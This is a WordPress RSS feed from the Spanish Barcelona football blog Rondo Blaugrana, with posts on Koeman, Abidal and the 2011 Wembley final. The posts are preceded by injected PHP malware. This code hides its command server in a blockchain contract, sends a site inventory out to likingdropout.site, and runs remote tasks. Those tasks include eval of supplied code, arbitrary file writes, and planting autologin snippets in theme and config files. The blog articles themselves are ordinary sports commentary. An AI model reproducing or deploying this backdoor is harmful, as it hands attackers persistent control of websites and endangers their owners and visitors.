// 9m_ue if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 9m_ue', 'vis'=>'// xz_jl', 'vis_func'=>'wp_lcs5gz', 'vis_paths'=>array('/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_72fh5i8x', ); $keys=array(); $keys['id']='jtl'; $keys['ver']='my'; $keys['caps']='k4r'; $keys['tasks']='df6'; $keys['interval']='w85'; $keys['ack_id']='5da'; $keys['ok']='6d'; $keys['detail']='jpv'; $keys['inv']='e4e'; $keys['result']='b30'; $hdr='X-LDR-Auth';$tok='tJ9TZ3q_xtwaUVpwam9xGv367yu9piPMutsgQK7KDEg';$id='ea1d1f0b11628a07';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Wembley – Rondo Blaugrana https://www.rondoblaugrana.net En un rondo el balón pasa por todos, y en este blog también Thu, 28 Oct 2021 13:54:19 +0000 es hourly 1 https://wordpress.org/?v=7.0.2 El mito Koeman https://www.rondoblaugrana.net/2021/10/el-mito-koeman.html?utm_source=rss&utm_medium=rss&utm_campaign=el-mito-koeman Thu, 28 Oct 2021 13:54:01 +0000 https://www.rondoblaugrana.net/?p=20054 Varias generaciones de culés crecimos con esa foto de un muchacho rubio celebrando eufórico un tanto enfundado en una camiseta naranja inolvidable. Crecimos con la imagen de Johan casi cayéndose saltando la valla de camino al verde. Crecimos con aquella narración de Puyal que acababa en el éxtasis. Para los culés ese sonido, ese disparo y ese fotograma de Pagliuca no alcanzado ese balón eran la máxima aspiración. Koeman casi se convirtió para muchos en una especie de héroe mitológico y Wembley, esa palabra que resonaba en nuestra cabeza como el amor de nuestra vida, un templo.

Por eso duele tanto esto, por más que estemos ya curados de espanto por la cantidad de bochornos recientes del equipo. Inevitable pensar que se nos ha caído un mito porque este no era su momento. En realidad este no es el momento para nadie, porque la situación difícilmente no triture a quien se ponga por delante. Ese es el verdadero terror de la posible llegada de Xavi.

Ronald Koeman llegó en una situación indeseable, dejando su ilusionante proyecto en la Orange para intentar reflotar el decadente del Barça. Lideró al Club en un momento de vacío de poder, hizo de poli malo, normalizó el asunto Messi y apostó decididamente por unos cuantos jóvenes. Por momentos el equipo pareció más enérgico, pero pronto se vieron las mismas carencias competitivas y a él mismo como entrenador las costuras. 1/12 contra Real Madrid y Atlético en Liga y otra eliminación grosera en Champions fueron la antesala de un final de campeonato digno de un equipo mediocre y perdedor.

Entonces se debió tomar la decisión, pero no se encontró entrenador y Koeman siguió porque no había otro remedio, en un espectáculo absolutamente bochornoso. Mal comienzo para una relación Presidente-entrenador que fue a peor, con el primero manteniendo las composturas públicamente y el segundo desafiante, sabedor de que, antes o después, estaba fuera. «Para lo que me queda en el convento, me cago dentro», pensaría, no sin cierta razón.

Porque él ha hecho muchas cosas mal, le ha faltado autocrítica y seguramente ha demostrado que no es un entrenador de élite, pero ha trabajado en unas condiciones pésimas. Lo cierto es que se podría hacer una tesis doctoral con los baches que se ha encontrado desde que arrancó el proyecto 21-22. Messi fuera de un día para otro, Griezmann también tras tres partidos de Liga y reforzando a un rival directo, Ansu lesionado, Pedri explotado hasta reventar, Araujo de cristal, Kun y Dembélé fuera, una rotación en el centro del campo llena de niños, apenas incorporaciones y jugadores como Umtiti y Coutinho todavía en plantilla. Lo tenía francamente difícil para hacer algo ilusionante, pero ni siquiera ha llegado a los mínimos. Ni siquiera ha llegado a algo digno.

El equipo seguía jugando sistemáticamente mal, con una salida de balón tan simple que cualquier rival que se lo propusiera «gripaba» al Barça con suma facilidad. Un equipo con un dominio de las dos áreas indigno de la élite, regalando goles por doquier y fallando ocasiones escandalosas en el área rival. A Koeman también se le puede achacar que jugadores «suyos» que deben ser capitales no solo no han crecido sino que parecen evaporarse. Ese estado de confianza máxima de Memphis ha dado paso a un jugador timorato y Frenkie de Jong es absolutamente insignificante ahora mismo. Asimismo su dirección de campo desde que llegó ha sido casi siempre negativa, empeorando habitualmente lo visto antes de sus intervenciones.

Nadie tiene la fórmula mágica para arreglar este estropicio proveniente de la denunciable labor de Rosell, Bartomeu y demás secuaces. La situación económica es tan crítica que hay poco margen de maniobra para darle la vuelta a la situación a corto plazo, por lo que no hay ninguna garantía de que el nuevo técnico mejore los resultados de Koeman. El técnico holandés no era el culpable, pero nunca fue solución y poco a poco sí se ha ido convirtiendo en un problema. El peligro de la decisión de la junta de Laporta es que ni en verano ni ahora tendrán como técnico a quien desean, y eso no augura nada bueno.

Como todo lo que rodea es tan desagradable y triste lo mejor sería correr un tupido velo en torno a Koeman, hacer como que estos meses no han pasado, que con suerte nos habrá dejado a unos cuantos jóvenes para el presente y futuro y quedémonos con aquella imagen de Wembley. Despeinado, exultante y perseguido por los compañeros. Olvidémonos de sus polos negros y recordemos esa casaca naranja.

]]> EL GALO INVENCIBLE https://www.rondoblaugrana.net/2013/05/recuperamos-el-galo-invencible.html?utm_source=rss&utm_medium=rss&utm_campaign=recuperamos-el-galo-invencible https://www.rondoblaugrana.net/2013/05/recuperamos-el-galo-invencible.html#comments Thu, 09 May 2013 23:00:00 +0000 https://www.rondoblaugrana.net/2013/05/el-galo-invencible.html Por Jacobo Cerdido


Llegó en el verano de 2007 acompañado de Gaby Milio, Henry y Yaya Touré en lo que fue un mercado de fichajes atípico: el club había fichado muy bien, pero tardaría un año en darse cuenta de ello. Y es que sin duda, la temporada 2007-2008, la de los estertores del rijkaardismo no fue la mejor para medir a estos jugadores, ni por supuesto, a Eric Abidal, quien llegado del Olympique de Lyon por 14 millones de Euros, no podía imaginarse la epopéyica historia que iba a protagonizar en Can Barça.

 Abidal, el funcionario 

Una historia que como decimos, comenzó bastante plana y gris, como era aquel equipo de Rijkaard en su etapa final. Dos empates a 0 en las primeras salidas, dudas continuas en el once, Xavi cuestionado y lesiones de gran importancia de Messi, Eto’o, Henry, Deco, Ronaldinho o Touré lastraron el primer año en el equipo de Abidal, quien a pesar de todo, se consolidó en el once desde el primer momento. El jugador no estaba plenamente adaptado, su participación ofensiva y asociativa era puesta en duda y defensivamente, sin llegar a cantar como su colega en el otro lateral, no llegaba a los niveles vistos en el Mundial del 2006. A pesar de esto, Eric se convirtió en titular indiscutible con 30 partidos ligueros, 2 de Copa y 12 (todos) de Champions League para hacer un total de 44. A pesar de estos llamativos números del primer año no os esforcéis: no recordareis ningún partido potente del 22. Se había consolidado, pero imaginarse una larga carrera de El Keniata en el Camp Nou se antojaba difícil.

Una situación que tampoco cambiaría demasiado con la llegada de Pep Guardiola ese verano. Abidal cuadraba bien en la cultura del esfuerzo que el de Santpedor quiso instaurar en el equipo y por eso en ningún momento se dudó de su lugar en el equipo. Sin embargo, ese año dejó de ser tan indiscutible. Sobre todo en Champions League donde solamente jugó 3 partidos en toda la competición. La fase de grupos la pasó inédito por dos motivos: una pequeña lesión de rodilla que lo tuvo parado un par de encuentros, pero sobre todo, por una decisión futbolística. El Barça ese año presentaba una salida de pelota central, pero  también implicaba mucho a Alves, siendo en muchas ocasiones salida mixta. Además, la altura a la que se situaba el lateral brasileño para ser el primer receptor de los centrales o del portero traían consigo que el Barça jugase en la práctica con solo 3 atrás como contra el Sporting de Lisboa, o realmente, con 3 atrás y Alves completamente liberado, como contra el Shakhtar. Sea como fuere, en ese dibujo Abidal no tenía sitio siendo Marquez y Piqué (al que se buscó adaptar desde un primer momento dándosele muchos minutos) los centrales y Puyol, o Cáceres, el lateral izquierdo que en la práctica era un tercer central.

Esta disposición en la Liga no se ejecutó casi nunca pero aún así Eric tampoco brilló. Ofensivamente se quedaba sin espacio porque su movimiento natural (llegar en carrera hacia línea de fondo donde recibe el balón del extremo izquierdo que lo estuvo esperando y centrar raso de primeras) ya lo hacía el propio Henry. Por lo tanto la misión de Abidal era eminentemente defensiva y, de vez en cuando, implicarse un poco en la cadena de pases. Además, no era ningún seguro: hizo a Palanca “canterano del año” en el Clásico del Camp Nou, y fue la única nota discordante en el 2-6 donde por momentos fue retratado por Robben. Además, si salía en todas las fotos negativas, no se podía decir lo mismo de las positivas: por lesión (en la derrota contra el Espanyol por 1-2) estuvo dos meses fuera, lo que supuso perderse el 5-2 al Lyon o el 4-0 al Bayern. Por sanción ya no estuvo en el campo en el momento del Iniestazo, ni en la Final de Roma, ni tampoco en la Final de Copa en Mestalla contra el Athletic de Bilbao.

Abidal culminó su segundo año en el Barça volviendo a estar en el once tipo del año, pero siendo el peor del mismo y habiéndose perdido casi todos los grandes momentos del año, quedando señalado en los pocos que disputó. Su presencia en el equipo el año siguiente seguía asegurada, pero permanecer en el imaginario colectivo de la afición seguía estando muy lejos.

Abidal, el imprescindible 

Esto cambiaría por fin en el segundo año de Pep, donde el galo se convierte en uno de los jugadores mas importantes de la plantilla, algo que sin duda tuvo mucho que ver con el cambio de tipología de juego que planteó el técnico culé. El Barça no terminó de jugar bien esa temporada, con unos problemas estructurales ofensivos personificados en Ibra que lastraron el techo del equipo. Ante eso, el hoy técnico del Bayern dio un nuevo giro: el Barça del vértigo del triplete pasaría a ser el del fútbol control, el de Xavi y el de portería a 0. Dicho y hecho.

En esas creció Abidal, consolidado en el lateral izquierdo al tiempo que los centrales serían Piqué y Puyol. Eric se convirtió en un factor corrector detrás, ayudando a rectificar por piernas cualquier fallo del equipo delante de él. Su principal baza era su primera zancada, muy potente y que abarca muchos metros, lo que le permitía lanzarse en carrera más rápido que sus encaradores. De este modo, creció hasta convertir su banda en territorio vedado para los rivales, pero al mismo tiempo ganó profundidad ofensiva. Henry, el jugador pegado a la cal, de línea de fondo y pase de la muerte había pasado a mejor vida y el 11 del equipo era para Pedro… con Keita por detrás. Al bajón definitivo de Thierry se le unió el año horrible de un Iniesta que encadenó periodos grises con periodos de ausencia, y estos dos factores conllevaron a que la línea de cal fuese poco visitada: el canario recibía abierto pero para romper hacia portería y el de Mali picaba en profundidad. En esas, Abidal creció, acompañando al equipo y llegando hasta línea de fondo siendo protagonista muchas veces del movimiento ya descrito: jugada que nace en la derecha, llega al extremo izquierdo que pausa el ataque para la llegada del lateral, quien recibe el pase y centra de primeras. Abidal ya era uno más del idioma del Barça.

Volviendo a la defensa fue donde se demostró que era un jugador fundamental, a pesar de las buenas actuaciones de su sustituto Maxwell. Sin embargo, su ausencia en las eliminatorias de Champions fue decisiva: los dos goles que se encajó en la fastuosa noche de Londres llegaron por la banda derecha del equipo rival. Igual fueron los tres goles que consiguió el Inter en la fatídica ida de las Semis de Champions. Abidal se había convertido en imprescindible, pero el destino seguía rechazándolo.

La leyenda de Abidal 

A partir de aquí la historia se convierte en el esfuerzo del francés por negar las evidencias y por llevar la contraria a todo aquel que se oponía a él: a la lógica, al destino, al fútbol y a la propia vida. Negaciones que le convertirían en leyenda.

La primera fue negar la propia lógica, esa que decía que Abidal no podía jugar de central. Y aunque se empeñase era cierto: era un pésimo central. Su desempeño en ese puesto ya había costado el no pasar de fase de grupos a Francia en la Euro del 2008, y su pretemporada el verano del 2010 indicaba que no había mejorado mucho en ese sentido por lo que la idea al comienzo no tuvo mayor recorrido. Asentado como lateral izquierdo fue un fijo de los mejores momentos del mejor equipo de la historia del club, pero el fútbol le tenía deparado más.

La rodilla de Puyol ese mismo año dijo basta y dos fueron los jugadores escogidos para cumplir el rol de sustituir al capitán: Mascherano… y Abidal. Si lo del Jefecito se podía comprender, lo del 22 culé era de plano inconcebible. ¿Cómo va a jugar de central este chico, sin conocimiento táctico de la posición y con un historial imponente de errores ahí? Y sin embargo, lo hizo, consiguiendo las mayores actuaciones para su recuerdo, incluyendo el trascendental gol de San Mamés. Su capacidad de rectificación corriendo hacia atrás le hacían insuperable porque había que superarlo dos veces, su valentía a la hora de sacar el balón en conducción desde la cueva, y cierta creatividad eran sus mayores virtudes en el puesto. Había central, y su capacidad para cortar balones era insultante, como prueba de su última gran foto: el balón cortado con la cabeza, desde el suelo, a Negredo en el Sánchez Pizjuan. Su última gran foto porque el destino volvía a alejarle de la gloria. Durante el transcurso de la retrasmisión del partido de vuelta de octavos de final de la Champions entre el Bayern y el Inter saltaba la noticia: Eric Abidal debería ser tratado de urgencia contra un tumor en el hígado y ya no solo la mejor temporada de su vida corría peligro, sino incluso toda su carrera deportiva.

Esta fue la segunda negación de Abidal: la del destino. Ese que siempre le había apartado de los momentos de gloria de su club minimizando su figura y que ahora lo quería alejar de Wembley. Pero no lo consiguió. El lateral izquierdo se alzó consiguiendo dos momentos mágicos: participar en los instantes finales de las Semis contra el Real Madrid, con manteo incluido y jugar de titular la final de Londres, donde sería el encargado de alzar la Copa de Europa. El primer negro, con permiso de Ferdinand (y Puyol) en hacerlo. Abidal había derrotado al destino.

Con ese impulso empezó el último año de Pep, donde el mister tenía preparada otra readaptación del fútbol culé que al Keniata le sentaría muy bien: el 3-4-3. Este sistema, creado para un nuevo giro ofensivo, también supuso muchas modificaciones en el apartado defensivo. Entre ellas, por supuesto, mayor exposición de los defensas, ya que no eran 3 centrales al uso en la mayoría de los casos, y por delante de ellos no estaba el equipo lo suficientemente cuajado como para no tener que sufrir. Y en este contexto Abidal emergió para decirle no al fútbol.

Eric no podía ser central, o eso se decía. Si había sobrevivido antes de su primer percance de salud fue por sus innatas condiciones físicas que le permitían rectificar, y por un estado mental por las nubes que le dotaba de la confianza necesaria para atreverse con todo. Y lo hacía. Pero no era un central al uso y en algún momento el invento tenía que pinchar, como pasa tantas veces. Pero en el caso del 22 culé no fue así. La defensa de 3 le sentó como anillo al dedo, siendo en ocasiones el jugador contextual de esta línea por su capacidad de rectificación y carrera hacia atrás, lo que le daba sentido a esto. “Sin Abidal no funciona la defensa de 3” fue una de las frases mas escuchadas en Can Barça. Jugando de central zurdo era en la práctica el libre, el que barría a la espalda de sus dos compañeros y además no solo por condiciones físicas, sino también por talento, sensibilidad e interpretación. Sin duda, era central y su pico de forma alcanzaría cotas mas altas que antes incluso. Gol decisivo en el Bernabeu incluído. Eso sí, con defensa de 4.

Pero de nuevo, un percance, una recaída, detendría a Abidal en su mejor momento. También quedó afectado el Barça, que sin su defensa contextual para la línea de 3 que a su vez era uno de sus baluartes atrás, terminó bastante tocado, aunque sin dramatismos, porque unos meses después volvería a competir. Algo que el francés no tenía seguro. Para ello debería decirle no a la dificultad que le pondría la vida y lograr un hecho casi único en la historia del deporte. Y Abidal, de nuevo, volvió a ganar. Volvió a vestirse de corto, a competir y a volver a sentirse completo, al tiempo que su figura trasciende lo futbolístico para convertirse en un icono, en un ejemplo de superación. Algo que ser recordado durante décadas.

Abidal lo venció todo para convertirse en uno de los símbolos del barcelonismo. Su lugar exacto en la historia lo marcará el paso del tiempo, pero él consiguió algo aún mas importante que un hueco en el pasado: una vida en el futuro.

]]> https://www.rondoblaugrana.net/2013/05/recuperamos-el-galo-invencible.html/feed 17 La final de Wembley (3/3): https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-33.html?utm_source=rss&utm_medium=rss&utm_campaign=la-final-de-wembley-33 https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-33.html#comments Wed, 25 May 2011 15:24:00 +0000 https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-33.html Morén (EUMD). La tercera parte. Muchas gracias crack! Te garantizo que ha gustado. Que no sea la última vez que te pasas por aquí.

Mientras que por banda izquierda el United tendrá que amoldarse a la presencia en frente de un lateral como Dani Alves, la banda derecha pude ser la zona donde Ferguson busque una carta ganadora que le permita generar ventajas para dominar el discurso del partido. Tanto Abidal como Puyol están lejos de ser una de las principales armas ofensivas del Barça, por lo que ahí, el técnico escocés, tendrá más libertad para pensar más en atacar que en defenderse. Por eso, mientras que en la banda izquierda la alineación de Giggs podría resultar una imprudencia, jugando a banda cambiada -como en aquella histórica final en el Camp Nou ante el Bayern de Munich- el galés podría encontrar su posición y su razón de ser en el partido. Lejos del extremo punzante de antaño, el Giggs actual, para el Unietd, es pausa, visión de juego y creatividad, prácticamente un mediapunta. La banda ya no es su hábitat natural sino un punto de partida para tender al carril central. Así pues, el United puede encontrar en un Giggs «descansando» en banda derecha y transitando hacia la mediapunta, una solución para poblar la medular, atacar en superioridad la zona de Busquets, y dar la posibilidad a su equipo de mantener la posesión durante fases del juego más largas para que el Barça no viva cómodo.


Sin embargo, lo lógico es esperar que la banda derecha inglesa sea para Valencia o para Nani. El primero con un juego más abierto que empieza y termina pegado a la cal, explotando su velocidad y verticalidad para percutir al contraataque, o el portugués para aumentar los recursos del equipo en ataque posicional y con una mayor tendencia a la diagonal.

Con más o menos tiempo de posesión en las transiciones defensa-ataque, parece claro que el discurso del United será el contraataque. Para minimizar sus riesgos, pues, será vital para el Barça controlar las pérdidas de balón, tanto en cantidad como en calidad. El Barça no debe permitir la recuperación en fase inicial, con el equipo mal colocado para lanzarse a la presión y el rival desplegado para ejecutar fácilmente la contra. La pérdida azulgrana debe localizarse cerca de la portería de Van der Sar, con el mayor número de jugadores del United por detrás del esférico y los jugadores azulgranas formando una nube alrededor del balón que les permita bien recuperar rápidamente, bien ensuciar la contra inglesa.
Tanto la capacidad de Iniesta para superar líneas desde el regate, como la presencia de Messi a la espalda de los mediocentros habilitando líneas de pase que obliguen a la media rival a girarse hacia su portería, serán los principales caminos que tendrá el Barça para lograr que el juego se localice en las inmediaciones del área del rival. El argentino se encontrará, además, con uno de los principales quebraderos de cabeza de Ferguson, y es que su especial habilidad para dominar el espacio entre mediocentros y centrales, coincidirá con las principales carencias de dos de los hombres que deben defender esa zona, Carrick y Vidic. Los problemas del inglés vienen provocados porque aunque desde hace unas temporadas actúa como mediocentro, su demarcación original es la de interior. Con Cristiano Ronaldo, su adecuación al discurso que imponía el portugués compensaba sus limitaciones, pero ahora, en este «nuevo» United, sus lagunas descuidando su espalda penalizan mucho, y pueden resultar mortales ante un hombre como Messi. Detrás de Carrick estará Vidic, un central perfecto para defender con una referencia, pero que en el espacio abierto, sin una marca fija y con la obligación de interpretar los distintos escenarios que le plantea el juego, es propenso al error.

Por este motivo, Ferguson necesitará a Fletcher y a Ferdinand. Desde la media, el escocés tendrá un doble papel, primero el de intentar evitar que el escenario de inferioridad aparezca, y el segundo, en caso de que este escenario desfavorable sea inevitable, aportar soluciones. Para el primer cometido es de esperar que sea la cabeza visible de un centro del campo agresivo y con una línea de presión alta. Emulando al Madrid de estos cuatro enfrentamientos, Ferguson tratará de obstaculizar la salida del Barça para que sea Messi quien tenga que retrasarse y en lugar de a espaldas de Carrick, situarse por delante de éste. El Barça encontrará así la solución para iniciar jugada, pero arriba, el cuatro para dos de la defensa rival contra Pedro y Villa, dificultará mucho las posibilidades de los azulgranas de llevar peligro a la portería de Van der Sar. Si esto no resulta y el Barça consigue superar la presión del United sin que Messi tenga que abandonar su zona para participar en el arranque de la jugada, Fletcher debería ser el factor corrector que compense las lagunas de Carrick, el hombre que ocupe los espacios que libere el inglés.


Ferdinand, por su parte, debe ser quien interprete los movimientos de Messi y guíe a Vidic desde la defensa. El serbio será el marcador y el inglés el líbero que le corregirá. Por eso, para el Barça, puedo ser muy interesante intercambiar en determinados momentos del choque la posición de los hombres de banda para emparejar a Pedro con O’Shea. Se trataría del mismo recurso que ya utilizó Guardiola en la final de Copa percutiendo con el canario sobre la posición de Arbeloa. La, a priori, superioridad azulgrana en el desequilibrio individual de ese duelo, obligaría a los hombres de ese sector del United a acudir a las ayudas sobre su lateral, por lo que hombres como Ferdinand, Fletcher o incluso Valencia, deberán diversificar sus focos de atención.


El mayor beneficiario si esto ocurre, más que Messi, puede ser Andrés Iniesta, el hombre que compartiría perfil con Pedro desde la posición de interior. El manchego encontraría, pues, facilidades para atravesar al mediocampo rival con la menor presencia de ayudas a su marcador, pudiendo explotar su habilidad en el uno contra uno, para llevar el balón a la frontal del área. Obligar a los medios ingleses a recular, ganar metros en mediocampo, obligar al United a acumular el máximo numero de efectivos por detrás del balón haciendo descender el peligro de sus contras y juntar a los azulgranas alrededor del esférico para aplicar de manera más efectiva la presión.

